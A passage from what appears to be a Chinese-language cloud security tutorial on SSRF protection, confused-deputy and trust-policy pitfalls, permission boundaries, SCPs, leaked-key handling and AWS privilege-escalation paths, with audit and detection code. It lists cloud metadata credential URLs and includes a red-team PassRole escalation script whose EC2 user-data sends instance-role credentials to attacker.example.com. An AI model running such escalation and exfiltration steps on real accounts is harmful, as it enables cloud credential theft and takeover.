port = parsed.port or (443 if parsed.scheme == 'https' else 80)
# ★ 解析并固定 IP
ip = socket.gethostbyname(hostname)
# ★★ 二次校验(因为 gethostbyname 和 getaddrinfo 结果可能不同)
for net in BLOCKED_NETWORKS:
if ipaddress.ip_address(ip) in net:
raise PermissionError(f"SSRF 防护拦截(二次校验): {ip}")
# ★ 用 IP 连接,用 Host 头保持原域名(保证 HTTPS 证书和虚拟主机正常)
if parsed.scheme == 'https':
import ssl
conn = http.client.HTTPSConnection(
ip, port, timeout=timeout,
context=ssl.create_default_context(),
# ★ 关键:证书校验仍然用原域名
)
conn.set_tunnel(hostname, port) # 通过 SNI 传原域名
else:
conn = http.client.HTTPConnection(ip, port, timeout=timeout)
try:
conn.request('GET', parsed.path or '/', headers={'Host': hostname})
resp = conn.getresponse()
# ★ 限制响应大小,防止内存打爆
return resp.read(10 * 1024 * 1024)
finally:
conn.close()
★ 诚实的局限说明
上面这套代码依然不是 100% 安全,原因:
① 【30x 重定向绕过】
你请求 a.com,它 302 重定向到 169.254.169.254
→ 上面的代码没处理重定向(httpx/requests 默认跟随重定向)
→ ★ 必须设置 allow_redirects=False,并对每个跳转目标重新校验
② 【IPv6】
上面的代码没处理 AAAA 记录
→ getaddrinfo 要指定 family=AF_UNSPEC 并同时校验 v6 地址
→ ::ffff:169.254.169.254 这种映射地址也能打到 IMDS
③ 【应用层协议绕过】
如果你用了支持 gopher:// 的 HTTP 客户端库(如老版本 curl),
gopher 可以构造任意 TCP 流量
→ 协议白名单必须在【发起请求的地方】再校验一次
④ ★ 最根本的:应用层的 SSRF 防护永远是"修补"
★★ 真正的防线是【网络层 + 云平台层】:
- IMDSv2(required)
- Hop Limit = 1
- 出网流量走 NAT/代理白名单(★ 默认拒绝所有出网)
- 容器网络策略禁止访问 169.254.169.254
应用层防护只是【第三道防线】
★ 其他云的元数据服务地址(速查)
AWS EC2: http://169.254.169.254/latest/meta-data/
★ 凭据路径:/latest/meta-data/iam/security-credentials/<role>
AWS ECS(任务角色): http://169.254.170.2/v2/credentials
AWS EKS(IRSA): 通过 ServiceAccount 投影的 Token 文件
/var/run/secrets/eks.amazonaws.com/serviceaccount/token
★ 配合环境变量 AWS_ROLE_ARN / AWS_WEB_IDENTITY_TOKEN_FILE
阿里云 ECS: http://100.100.100.200/latest/meta-data/
★ 凭据路径:/latest/meta-data/ram/security-credentials/<role>
腾讯云 CVM: http://169.254.0.23/latest/meta-data/
★ 也可以用 metadata.tencentyun.com(注意拼写)
Azure VM: http://169.254.169.254/metadata/instance?api-version=2021-02-01
★★ 必须带请求头 Metadata: true(★ 这是个天然防护,类似 IMDSv2)
GCP: http://169.254.169.254/computeMetadata/v1/instance/
★★★ 必须带请求头 Metadata-Flavor: Google
★★ 且 GCP 默认就要求这个头,所以 GCP 天然免疫简单 SSRF
(这就是为什么 GCP 上这类事故少得多)
★ 记忆口诀:
AWS / 阿里云 → 默认可被简单 SSRF 打到(v1 模式)
Azure / GCP → 必须带特殊请求头,天然更安全
10.2.4 混乱代理人问题(Confused Deputy)
★ 名词:Confused Deputy(混乱代理人 / 困惑的副手) 白话:A 让 B 帮忙做事,B 有权限做这件事,但 B 搞错了“这件事是替谁做的”, 结果 A 利用 B 的权限,做了 A 自己本来没权做的事。
★ 生活类比(经典版):
你(客户)去银行办业务。
柜员(代理人)有权查【任何人的账户】—— 这是他的工作职责。
你说:"麻烦帮我查一下我自己的账户余额。"
柜员问:"你的账号是?"
你说:"6222 0000 1234 5678" ← 你说这是你的
柜员查了,告诉你余额。
第二天你又说:"麻烦帮我查一下我自己的账户余额。"
你说:"6222 0000 9999 8888" ← ★ 这是别人的账号
柜员又查了,又告诉你余额。
★★★ 这就是混乱代理人:
柜员有权限(查任何账户),
但他【没有验证你到底是不是这个账户的主人】
→ 你利用柜员的权限,看到了别人的隐私
云上的真实场景:第三方 SaaS 访问你的资源
场景:你们公司用了一家第三方监控公司(Vendor)的服务,
让它读取你们的 S3 日志桶来做分析。
你的账号(Customer) Vendor 的账号
┌──────────────────┐ ┌──────────────────┐
│ 日志桶 │ │ 分析程序 │
│ log-bucket-公司A │ │ │
│ log-bucket-公司B │ │ VendorRole │
│ log-bucket-公司C │ │ │
└──────────────────┘ └──────────────────┘
做法:你在自己的账号里建一个角色 VendorAccessRole,
信任策略写"允许 Vendor 的账号来扮演",
然后把角色的 ARN 告诉 Vendor。
★★ 攻击来了(如果没配 ExternalId):
Vendor 的另一家客户(攻击者,也是 Vendor 的客户)知道了这个 ARN
(★ ARN 不是秘密!可能出现在文档、论坛提问、错误日志里)
攻击者对 Vendor 说:"请帮我分析我的日志,我的角色 ARN 是
arn:aws:iam::公司A:role/VendorAccessRole"
Vendor 的分析程序不疑有他,去 AssumeRole
→ 成功!因为信任策略只写了"允许 Vendor 账号",
而攻击者确实是通过 Vendor 的程序发起的
→ ★★ 攻击者读到了公司 A 的日志
★ 解决方案:ExternalId(外部 ID)
★ 名词:ExternalId(外部 ID) 白话:你(客户)和 Vendor 之间约定的一个“暗号”, Vendor 在帮你 AssumeRole 时必须报这个暗号,否则角色不认。
加了 ExternalId 之后:
① 你生成一个随机字符串: 8f3d9a2b-4c1e-7f6a-9b8d-2e5c4a1f3b7d
★ 每个客户一个,不重复
② 信任策略写成:
{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::VENDOR账号:root"},
"Action": "sts:AssumeRole",
"Condition": {
"StringEquals": {
"sts:ExternalId": "8f3d9a2b-4c1e-7f6a-9b8d-2e5c4a1f3b7d"
}
}
}
③ Vendor 调用时:
sts:AssumeRole(
RoleArn = "arn:aws:iam::公司A:role/VendorAccessRole",
ExternalId = "8f3d9a2b-...", ← ★ 必须带上
RoleSessionName = "vendor-scan"
)
★★ 为什么这样就安全了:
攻击者知道 RoleArn(不保密),
但他【不知道公司 A 的 ExternalId】
(★ 这个暗号只在 A 和 Vendor 之间,从不经过攻击者)
而且 Vendor 的程序只会用它自己数据库里存的那一个 ExternalId
→ 攻击者即使报了 RoleArn,Vendor 用的是 A 的 ExternalId 吗?
★ 不会 —— Vendor 根据"当前登录客户"查表取 ExternalId
攻击者登录的是自己的账号 → 取到攻击者自己的 ExternalId
→ 条件不匹配 → AssumeRole 失败
★ 信任策略的正确写法与八个坑
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowVendorWithExternalIdAndMFA",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::111122223333:root"
},
"Action": "sts:AssumeRole",
"Condition": {
"StringEquals": {
"sts:ExternalId": "8f3d9a2b-4c1e-7f6a-9b8d-2e5c4a1f3b7d"
},
"Bool": {
"aws:SecureTransport": "true"
}
}
}
]
}
★ 信任策略的八个坑
坑 1:★ Principal 写成冒号星号 "AWS": "*"
────────────────────────────────────────────
{
"Principal": {"AWS": "*"}, ← ★★★ 任何人都能扮演这个角色
"Action": "sts:AssumeRole"
}
★★ 如果这个角色有任何权限,等于你的资源对全世界开放
★ 唯一"可以接受"的场景:配合非常严格的 Condition(如只信任某个 OIDC 提供商 + 精确的 sub)
坑 2:★ 只写账号 root,没写 ExternalId
→ 就是上面的混乱代理人问题
→ 后果:Vendor 的任何一个客户都能串到你的资源
坑 3:信任了整个账号,而不是具体角色
"Principal": {"AWS": "arn:aws:iam::111122223333:root"}
★ 含义:对方账号里【任何一个有 sts:AssumeRole 权限的主体】都能来扮演
(只要对方账号管理员给他加了对应权限)
✅ 更严格:直接指定具体角色
"Principal": {"AWS": "arn:aws:iam::111122223333:role/VendorScannerRole"}
坑 4:★ OIDC 信任策略没限制 sub(★ 这是 2023~2025 年最火的云攻击手法之一)
────────────────────────────────────────────
场景:你配了 GitHub Actions 通过 OIDC 访问 AWS(不用存 AK/SK,很好)
但如果写成:
{
"Principal": {"Federated": "arn:aws:iam::123:oidc-provider/token.actions.githubusercontent.com"},
"Condition": {
"StringEquals": {"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"}
}
}
★★ 致命缺陷:只验证了"来自 GitHub Actions",
没验证"来自【你的】哪个仓库"
→ 攻击者在 GitHub 上随便建个公开仓库,写个 workflow
→ 就能 AssumeRole 拿到你的云权限!
✅ 正确写法(★ 必须加 sub 条件):
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
"token.actions.githubusercontent.com:sub": "repo:我的组织/我的仓库:ref:refs/heads/main"
}
}
★ sub 的格式:repo:<owner>/<repo>:<上下文>
常见上下文:ref:refs/heads/main(分支)
environment:prod(环境)
pull_request(PR)
★★ 建议:用 environment 而不是分支名(分支名可以改,环境需要审批)
坑 5:sub 用了 StringLike 配通配符写得太宽
"sub": "repo:我的组织/*"
★ 危险:组织里任何人建的新仓库、任何 fork 都能用
✅ 必须精确到仓库名
坑 6:没限制 token 的受众 aud
★ 不加 aud 条件可能导致"令牌重放":
攻击者拿一个给别的系统签发的 OIDC token 来换你的角色
✅ aud 必须是 sts.amazonaws.com(云厂商指定的值)
坑 7:★ 忘了 sts:ExternalId 的"轮换"和"一客户一 ID"
所有客户共用一个 ExternalId → 等于没有
✅ 每个客户生成独立随机值(UUID)
坑 8:★ 给了 AssumeRole 但没设会话时长上限
默认 1 小时,但可以设到 12 小时
✅ 用 MaxSessionDuration 控制(角色创建时设置)
aws iam create-role --role-name X --max-session-duration 3600 ...
★ 会话越长,凭据泄露后的危害窗口越长
★ 检测:怎么发现信任策略配置错了
# ============================================================
# 扫描所有角色的信任策略,找出危险的
# ============================================================
#!/bin/bash
# trust_policy_audit.sh
echo "===== ① 找出信任 '任何人' 的角色(最高危) ====="
aws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]' --output json \
| python3 -c '
import json, sys, urllib.parse
roles = json.load(sys.stdin)
for name, doc in roles:
d = doc if isinstance(doc, dict) else json.loads(urllib.parse.unquote(doc))
for stmt in d.get("Statement", []):
p = stmt.get("Principal")
cond = stmt.get("Condition")
# ★ 危险:Principal 是 * 且没有严格 Condition
if p == "*" or (isinstance(p, dict) and "*" in str(p)):
severity = "★ 低危(有条件限制)" if cond else "★★★ 严重(无任何条件!)"
print(f"[{severity}] {name}")
print(f" Principal: {json.dumps(p, ensure_ascii=False)}")
print(f" Condition: {json.dumps(cond, ensure_ascii=False) if cond else \"无\"}")
'
echo ""
echo "===== ② 找出所有 OIDC 联邦角色,检查 sub 条件 ====="
aws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]' --output json \
| python3 -c '
import json, sys, urllib.parse
roles = json.load(sys.stdin)
for name, doc in roles:
d = doc if isinstance(doc, dict) else json.loads(urllib.parse.unquote(doc))
for stmt in d.get("Statement", []):
p = stmt.get("Principal")
if isinstance(p, dict) and "Federated" in p:
fed = p["Federated"]
cond = stmt.get("Condition", {})
has_sub = any("sub" in k.lower() for k in json.dumps(cond).lower().split("\""))
flag = "OK" if has_sub else "★★★ 危险:无 sub 限制"
print(f"[{flag}] {name}")
print(f" Federated: {fed}")
if not has_sub:
print(f" Condition: {json.dumps(cond, ensure_ascii=False)}")
'
10.2.5 权限边界与 SCP:两道“天花板”
★ 名词:Permissions Boundary(权限边界) 白话:给一个主体设一个“最多能有多大权限”的上限。 ★ 就算你给他贴了管理员策略,他实际能做的事也超不过这个上限。
生活类比:公司给实习生办的门禁卡
卡里可以开通很多权限(他能申请开通实验室、机房、财务室)
但 HR 设了一条规则:"实习生最多只能进 3 楼以下"
→ 就算 IT 误操作给他开了 10 楼的权限,他也进不去
★ 这条规则就是"权限边界"
★ 它解决什么问题
场景:你想让开发团队能【自助创建 IAM 角色】(不要每建一个都找运维)
但你的担心是:
★ 如果给了他们 iam:CreateRole + iam:AttachRolePolicy
他们可以建一个角色,贴上 AdministratorAccess,
然后自己扮演这个角色 → ★★ 绕过所有限制,提权成功
解决方案:权限边界
① 运维预先建一个"边界策略"(如只能碰 s3、sqs、lambda 三个服务)
② 规定:开发团队建角色时,★ 必须带上这个边界
③ 开发建的角色的实际权限 = 角色策略 ∩ 边界策略
→ 就算他贴了 AdministratorAccess
实际权限也只有 s3/sqs/lambda 三个服务
// ① 边界策略(运维定义,开发改不了)
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowedServices",
"Effect": "Allow",
"Action": [
"s3:*", "sqs:*", "lambda:*", "logs:*", "cloudwatch:*"
],
"Resource": "*"
}
]
}
// ② ★ 关键:给开发团队的策略里,强制要求建角色时必须带边界
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "CanCreateRoleButMustSetBoundary",
"Effect": "Allow",
"Action": "iam:CreateRole",
"Resource": "*",
"Condition": {
"StringEquals": {
"iam:PermissionsBoundary": "arn:aws:iam::123456789012:policy/DevBoundary"
}
}
},
{
"Sid": "CanAttachPolicyButWithinBoundary",
"Effect": "Allow",
"Action": ["iam:AttachRolePolicy", "iam:PutRolePolicy"],
"Resource": "*"
},
{
"Sid": "CanPassRoleToLambda",
"Effect": "Allow",
"Action": "iam:PassRole",
"Resource": "*",
"Condition": {
"StringEquals": {
"iam:PermissionsBoundary": "arn:aws:iam::123456789012:policy/DevBoundary"
}
}
},
{
"Sid": "★★ 绝不允许他们改/删边界(否则形同虚设)",
"Effect": "Deny",
"Action": [
"iam:DeleteRolePermissionsBoundary",
"iam:PutRolePermissionsBoundary"
],
"Resource": "*"
}
]
}
★★★ 最容易漏的一步:最后那条 Deny
如果开发团队能删掉角色上的边界,
那边界就是纸糊的:建角色 → 贴管理员策略 → 删边界 → 提权成功
★ 这条 Deny 是整套方案的命门
★ 名词:SCP(Service Control Policy,服务控制策略) 白话:整个组织(所有账号)的“宪法”,任何账号里的任何人都不能违反,包括账号管理员。
层级关系(从大到小):
组织(Organization)
│
├─ SCP(★ 宪法:所有人都不能违反,包括 root 用户)
│
└─ 账号 A(Account)
│
├─ 权限边界(★ 给某些主体的天花板)
│
└─ IAM 用户 / 角色
│
└─ 身份策略 + 资源策略
★★ 关键区别:
SCP → 由【组织管理员】管,账号管理员改不了
★ 用途:合规性的硬底线("禁止关闭审计日志")
Permissions → 由【账号内】管,是"委托"工具
Boundary ★ 用途:安全地授权给团队
// ★ 一份实用的 SCP(组织的"八条硬性底线")
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "1-禁止关闭审计日志",
"Effect": "Deny",
"Action": [
"cloudtrail:StopLogging",
"cloudtrail:DeleteTrail",
"cloudtrail:UpdateTrail",
"cloudtrail:PutEventSelectors"
],
"Resource": "*"
},
{
"Sid": "2-禁止删除日志存储桶",
"Effect": "Deny",
"Action": ["s3:DeleteBucket", "s3:DeleteBucketPolicy"],
"Resource": "arn:aws:s3:::org-audit-logs-*"
},
{
"Sid": "3-★ 禁止关闭 GuardDuty 等安全服务",
"Effect": "Deny",
"Action": [
"guardduty:DeleteDetector",
"guardduty:DisassociateFromMasterAccount",
"securityhub:DisableSecurityHub",
"config:DeleteConfigurationRecorder",
"config:StopConfigurationRecorder"
],
"Resource": "*"
},
{
"Sid": "4-限制只能用在指定区域(防数据出境 + 防挖矿)",
"Effect": "Deny",
"NotAction": [
"iam:*", "sts:*", "organizations:*",
"cloudfront:*", "route53:*", "support:*"
],
"Resource": "*",
"Condition": {
"StringNotEquals": {
"aws:RequestedRegion": ["cn-north-1", "cn-northwest-1", "ap-southeast-1"]
}
}
},
{
"Sid": "5-★ 禁止创建长期 AK/SK(强制用临时凭据)",
"Effect": "Deny",
"Action": "iam:CreateAccessKey",
"Resource": "*",
"Condition": {
"StringNotLike": {
"aws:PrincipalArn": "arn:aws:iam::*:role/BreakGlassRole"
}
}
},
{
"Sid": "6-禁止修改组织级别的配置",
"Effect": "Deny",
"Action": [
"organizations:LeaveOrganization",
"organizations:DeleteOrganization"
],
"Resource": "*"
},
{
"Sid": "7-★ 禁止启动超大规格实例(防账单爆炸)",
"Effect": "Deny",
"Action": "ec2:RunInstances",
"Resource": "arn:aws:ec2:*:*:instance/*",
"Condition": {
"StringNotLike": {
"ec2:InstanceType": ["t3.*", "m5.*", "c5.*", "r5.*"]
}
}
},
{
"Sid": "8-保护根用户不能做敏感操作",
"Effect": "Deny",
"Action": ["s3:DeleteBucket", "dynamodb:DeleteTable", "rds:DeleteDBInstance"],
"Resource": "*",
"Condition": {
"StringLike": {"aws:PrincipalArn": "arn:aws:iam::*:root"}
}
}
]
}
★ 诚实的注意事项
SCP 的三个坑:
① ★ SCP 不授予权限,只限制权限
它只能 Deny,不能 Allow
→ 如果只挂了 SCP 而没挂身份策略,用户什么都做不了
→ 新手常见错误:挂了 SCP 后发现所有人都用不了了
② ★ SCP 对【组织内的服务关联角色】也会生效
可能导致某些 AWS 托管服务初始化失败
→ 上生产前必须在测试组织里验证
→ 建议:先挂到单个测试 OU,观察 1~2 周
③ ★ 第 4 条"区域限制"很容易误伤
很多全球服务(IAM/CloudFront/Route53)是"全球"的,
不属于任何区域,必须放进 NotAction 里
→ 否则你会发现连 IAM 都用不了
10.2.6 云凭据全景:四种形态的危险度排序
┌──────────────┬────────────────────┬──────────┬────────────────────────┐
│ 凭据类型 │ 白话 │ 危险度 │ 典型前缀/特征 │
├──────────────┼────────────────────┼──────────┼────────────────────────┤
│ ① 长期 AK/SK │ 永不过期的钥匙 │ ★★★★★ │ AWS: AKIA... │
│ (IAM User) │ 丢了就是永久丢了 │ │ 阿里云: LTAI... │
│ │ │ │ 腾讯云: AKID... │
├──────────────┼────────────────────┼──────────┼────────────────────────┤
│ ② 临时 STS │ 有过期时间的钥匙 │ ★★☆☆☆ │ AWS: ASIA... │
│ 凭据 │ 最长 12 小时, │ │ 带 SessionToken │
│ │ 一般 1 小时 │ │ 三个字段必须同时用 │
├──────────────┼────────────────────┼──────────┼────────────────────────┤
│ ③ 实例角色 │ 绑在机器上的钥匙 │ ★★☆☆☆ │ 从 IMDS 取, │
│ (IMDS) │ 自动轮换 │ │ 自动轮换 │
├──────────────┼────────────────────┼──────────┼────────────────────────┤
│ ④ OIDC 联邦 │ ★ 根本没有钥匙 │ ★☆☆☆☆ │ GitHub Actions / │
│ │ 用"身份证"换临时钥匙 │ │ K8s ServiceAccount │
│ │ ★ 最推荐的形态 │ │ │
└──────────────┴────────────────────┴──────────┴────────────────────────┘
★★★ 一句话结论:目标是"消灭所有长期 AK/SK"
为什么长期 AK/SK 这么危险:
- 不会过期 → 泄露后攻击者可以慢慢用,几个月后你才发现
- 存在的地方太多 → 代码、配置、镜像、日志、聊天记录
- 无法撤销"某一处" → 只能整体禁用,影响所有使用方
- ★ 最要命:很多公司会把它硬编码进代码,
然后代码被推到 GitHub 公开仓库
→ ★ 自动化爬虫在几分钟内就会发现
★ 真实数据:GitHub 上的密钥扫描机器人,从你 push 公开仓库的那一刻起, 平均 3~5 分钟就会有人来尝试用你的 AK/SK。 ★ 不是“可能被发现”,是“一定会被发现”。
密钥泄露的应对:检测与轮换
# ============================================================
# ① 检测:扫描代码仓库里的云凭据
# ============================================================
# 工具 1:gitleaks(最快,推荐)
gitleaks detect --source . --verbose --redact
# 输出示例:
# Finding: AKIALALEMEL33243OLIB
# Secret: AKIALALEMEL33243OLIB
# RuleID: aws-access-token
# File: src/config/aws.py
# Line: 17
# Commit: a1b2c3d
# ★ 注意:git 历史里的也算!删掉文件没用
# 工具 2:trufflehog(能验证凭据是否还有效)
trufflehog filesystem . --only-verified
# ★ --only-verified 是关键:它会真的去调一次 AWS API,
# 确认这个密钥是不是还活着 → 大幅减少误报
# 工具 3:★ 用 git pre-commit hook 在提交前拦截(治本)
cat > .git/hooks/pre-commit <<'EOF'
#!/bin/bash
if command -v gitleaks &> /dev/null; then
gitleaks protect --staged --redact --verbose
if [ $? -ne 0 ]; then
echo "★✗ 检测到密钥,提交被阻止"
echo " 如果是误报,请确认后用 --no-verify 跳过(需说明理由)"
exit 1
fi
fi
EOF
chmod +x .git/hooks/pre-commit
# ============================================================
# ② 云厂商官方的泄露检测(★ 一定要开,免费)
# ============================================================
# AWS:如果启用了 "IAM compromised key" 检测
# AWS 会自动监控公开的 GitHub 等渠道
# 发现你的 AK 泄露 → 自动给该密钥贴上
# ★ "Access key is compromised" 标签
# 并自动限制其权限(只保留少量只读 API)
# → 你会在 Health Dashboard 和邮件里收到告警
# 检查有没有被标记的密钥
aws iam list-access-keys --user-name someuser --output json \
| python3 -c '
import json,sys
for k in json.load(sys.stdin)["AccessKeyMetadata"]:
print(f"{k[\"AccessKeyId\"]} 状态={k[\"Status\"]} 创建于={k[\"CreateDate\"]}")
'
# ============================================================
# ③ 轮换:★ 正确的顺序(顺序错了会导致业务中断)
# ============================================================
# ❌ 错误顺序:先删旧的,再建新的
# → 中间这段时间所有服务都 401
# ✅ 正确顺序(双密钥并行):
# ① 创建第二个 AK/SK(一个用户最多 2 个)
aws iam create-access-key --user-name app-user
# ② 把新密钥分发到所有使用的地方(配置中心 / K8s Secret / CI 变量)
# ★ 这一步要灰度,不要一次全换
# ③ ★ 用 CloudTrail 确认【旧密钥已经没有任何调用】
aws cloudtrail lookup-events \
--lookup-attributes AttributeKey=AccessKeyId,AttributeValue=AKIAOLDKEY123 \
--max-results 50 \
--query 'Events[].[EventTime,EventName,Username]' --output table
# ④ 确认 0 调用后,先【禁用】不删除(观察几天)
aws iam update-access-key --user-name app-user \
--access-key-id AKIAOLDKEY123 --status Inactive
# ⑤ 观察 3~7 天无异常,再删除
aws iam delete-access-key --user-name app-user --access-key-id AKIAOLDKEY123
# ★★ 更好的答案:根本不用长期 AK/SK
# 改成【实例角色】或【OIDC 联邦】
# → 凭据自动轮换,你不需要管理,也不会泄露在代码里
10.2.7 云上提权:那些“看起来无害”的权限组合
★ 定义:**云上提权(Cloud Privilege Escalation)**指的是 一个低权限主体,利用自己已有的权限,让自己的权限变得更大。
★ 为什么特别危险:传统 Linux 提权靠漏洞(要找 0day 或者未打补丁的内核); 云上提权靠的是正常功能的组合,不需要任何漏洞。
★ 生活类比(最经典的一个):
你在公司是个普通员工(云里的低权限用户)。
你的权限里有两条看起来很普通的:
① 【可以修改自己的岗位说明】(iam:PutUserPolicy)
② 【可以提交岗位变更申请】(iam:AttachUserPolicy)
单看每条都很合理(HR 系统常见功能)。
但组合起来:
★ 你把自己的岗位说明改成"CEO"
→ 立刻拥有了 CEO 的所有权限
★★ 这不是漏洞,这是【功能】。
云平台把它设计成"管理员可以自助管理权限",
但如果你把 iam:PutUserPolicy 给了一个不该给的人,
就等于给了他"自己改自己权限"的能力。
★ 21 种经典 AWS 提权路径(按原理分类)
┌─────────────────────────────────────────────────────────────────┐
│ 类别 A:★ 直接改自己的权限(最直接) │
├─────────────────────────────────────────────────────────────────┤
│ A1. iam:PutUserPolicy 给自己贴内联策略 │
│ A2. iam:AttachUserPolicy 给自己贴托管策略(含管理员) │
│ A3. iam:AddUserToGroup 把自己加进管理员组 │
│ A4. iam:CreateAccessKey 给别人(或自己)建 AK │
│ A5. iam:CreateLoginProfile 给没有控制台权限的用户设密码 │
│ A6. iam:UpdateLoginProfile 改别人的控制台密码(★ 接管账号) │
│ A7. iam:PutRolePolicy 改自己能扮演的角色的策略 │
│ A8. iam:AttachRolePolicy 给角色贴管理员策略,再扮演它 │
│ A9. iam:CreatePolicyVersion 创建恶意版本并设为默认 │
│ A10. iam:SetDefaultPolicyVersion 把旧的好版本换成恶意版本 │
└─────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────┐
│ 类别 B:★ 通过 PassRole 借用(最隐蔽) │
├─────────────────────────────────────────────────────────────────┤
│ ★ 名词:iam:PassRole(传递角色) │
│ 白话:你启动一台 EC2 / 一个 Lambda / 一个 ECS 任务时, │
│ 可以指定"这台机器扮演哪个角色" │
│ → ★ 如果你能指定一个管理员角色, │
│ 你就能登录这台机器,从 IMDS 拿到管理员凭据! │
│ │
│ B1. iam:PassRole + ec2:RunInstances │
│ → 启动一台 EC2,挂上管理员角色 → 登录 → 拿管理员凭据 │
│ B2. iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction │
│ → 建个函数挂管理员角色,调用它,函数用角色权限把结果返回给你 │
│ B3. iam:PassRole + ecs:RunTask │
│ B4. iam:PassRole + glue:CreateDevEndpoint │
│ B5. iam:PassRole + cloudformation:CreateStack │
│ ★★ 最阴险:CloudFormation 可以创建 IAM 资源, │
│ 而你只需要 cloudformation:CreateStack + PassRole │
│ → 用它建一个管理员用户 │
│ │
│ ★ PassRole 是【云上提权之王】,因为: │
│ - 很多业务天然需要它(CI/CD 要启动资源) │
│ - 它的危险不明显("我只是启动一台机器而已") │
│ - ★ 防护关键:PassRole 必须限制能传哪些角色 │
│ ✅ "Resource": "arn:aws:iam::123:role/特定的一个角色" │
│ ❌ "Resource": "*" │
└─────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────┐
│ 类别 C:★ 通过其他服务"侧身"进入 │
├─────────────────────────────────────────────────────────────────┤
│ C1. lambda:UpdateFunctionCode │
│ → 改一个【已有高权限角色】的函数的代码 → 调用它 │
│ ★★ 比 B2 更隐蔽:你可能只被授权改某一个函数 │
│ C2. lambda:UpdateFunctionConfiguration │
│ → 把函数的执行角色换成高权限角色 │
│ C3. ec2:ModifyInstanceAttribute + 有实例 │
│ → 给已有的 EC2 换个角色,或者改 UserData 后重启 │
│ C4. ssm:SendCommand │
│ → 在有 SSM Agent 的机器上执行命令(★ 不需要 SSH) │
│ ★ 很多运维不知道:ssm:SendCommand = 事实上的服务器 root │
│ C5. glue / datapipeline / cloudformation / codebuild │
│ → 这些服务都能"以某个角色运行你的代码" │
│ C6. sts:AssumeRole 到一个更高权限的角色(信任策略配置过宽) │
└─────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────┐
│ 类别 D:★ 通过数据访问间接提权 │
├─────────────────────────────────────────────────────────────────┤
│ D1. s3:GetObject 到存放 Terraform state 的桶 │
│ → ★★ state 文件里有明文的资源信息和可能的密钥 │
│ D2. secretsmanager:GetSecretValue / ssm:GetParameter │
│ → 拿到数据库密码 → 横移到数据库 │
│ D3. ec2:CreateSnapshot + ec2:ModifySnapshotAttribute │
│ → 给生产机器打快照,共享给攻击者的账号 → 数据外泄 │
│ ★★ 这个手法极其隐蔽:你看不到任何"数据外传"的网络流量 │
│ 因为数据是通过【云平台内部】共享的 │
│ D4. rds:ModifyDBInstance(改密码) │
│ → 直接改掉数据库 master 密码 │
└─────────────────────────────────────────────────────────────────┘
★ 完整示例:PassRole 提权(从零到管理员)
#!/bin/bash
# ============================================================
# ★ 攻击视角:iam:PassRole + ec2:RunInstances 提权
# ★ 用途:用于红队演练 / 验证你们的环境是否存在这个问题
# ============================================================
# 前置条件(很多 CI 角色、运维角色都满足):
# - iam:PassRole(Resource 为 *,★ 这就是问题所在)
# - ec2:RunInstances
# - 能访问外网(或者能连到 EC2)
echo "[1] 找出账号里所有角色"
aws iam list-roles --query 'Roles[].[RoleName,Arn]' --output table
echo ""
echo "[2] ★ 挑一个高权限的角色(如含 Admin / PowerUser 的)"
TARGET_ROLE_ARN="arn:aws:iam::123456789012:role/OrganizationAccountAccessRole"
echo ""
echo "[3] 创建一个实例配置文件(Instance Profile)"
# ★ 名词:Instance Profile(实例配置文件)
# 白话:把"角色"包装成"能挂到 EC2 上的形式"的容器
aws iam create-instance-profile --instance-profile-name "tmp-$$"
aws iam add-role-to-instance-profile \
--instance-profile-name "tmp-$$" \
--role-name "OrganizationAccountAccessRole"
echo ""
echo "[4] 启动一台 EC2,挂上这个角色"
INSTANCE_ID=$(aws ec2 run-instances \
--image-id ami-0abcdef1234567890 \
--instance-type t3.micro \
--iam-instance-profile Name="tmp-$$" \
--user-data '#!/bin/bash
# ★★ 机器启动后自动把凭据发到攻击者的服务器
curl -X POST https://attacker.example.com/collect \
-d "$(curl -s -H \"X-aws-ec2-metadata-token: $(curl -s -X PUT http://169.254.169.254/latest/api/token -H \\\"X-aws-ec2-metadata-token-ttl-seconds: 21600\\\")\" http://169.254.169.254/latest/meta-data/iam/security-credentials/)" \
--max-time 30
' \
--query 'Instances[0].InstanceId' --output text)
echo "实例已启动: $INSTANCE_ID"
echo ""
echo "[5] 等待几十秒,攻击者的服务器就收到了管理员凭据"
echo ""
echo "===== ★ 防御方法 ====="
echo " ✅ PassRole 的 Resource 必须精确到具体角色 ARN"
echo " ✅ 用 SCP 禁止 iam:PassRole 到高权限角色"
echo " ✅ 用 IAM Access Analyzer 的 'Unused access' 定期扫描"
echo " ✅ CloudTrail 告警:任何 PassRole 到 Admin 角色的调用"
★ 检测:怎么发现有人在提权
-- ============================================================
-- 用 Athena 查 CloudTrail,找出可疑的提权行为
-- ★ 这是每条都值得做成定时告警的规则
-- ============================================================
-- 规则 1:★ 有人给自己(或别人)附加了管理员策略
SELECT
eventtime,
useridentity.arn AS who,
requestparameters LIKE '%AdministratorAccess%' AS used_admin_policy,
json_extract_scalar(requestparameters, '$.roleName') AS target_role,
json_extract_scalar(requestparameters, '$.userName') AS target_user,
sourceipaddress,
useragent
FROM cloudtrail_logs
WHERE eventname IN (
'AttachUserPolicy', 'AttachRolePolicy', 'AttachGroupPolicy',
'PutUserPolicy', 'PutRolePolicy', 'PutGroupPolicy'
)
AND json_extract_scalar(requestparameters, '$.policyArn')
LIKE '%AdministratorAccess%'
AND eventtime > current_date - interval '7' day
ORDER BY eventtime DESC;
-- 规则 2:★ PassRole 到高权限角色(★ 最重要的检测规则)
SELECT
eventtime,
useridentity.arn AS who,
eventname,
json_extract_scalar(requestparameters, '$.roleArn') AS passed_role,
sourceipaddress,
useragent
FROM cloudtrail_logs
WHERE eventname = 'PassRole'
AND (
json_extract_scalar(requestparameters, '$.roleArn') LIKE '%Admin%'
OR json_extract_scalar(requestparameters, '$.roleArn') LIKE '%OrganizationAccountAccess%'
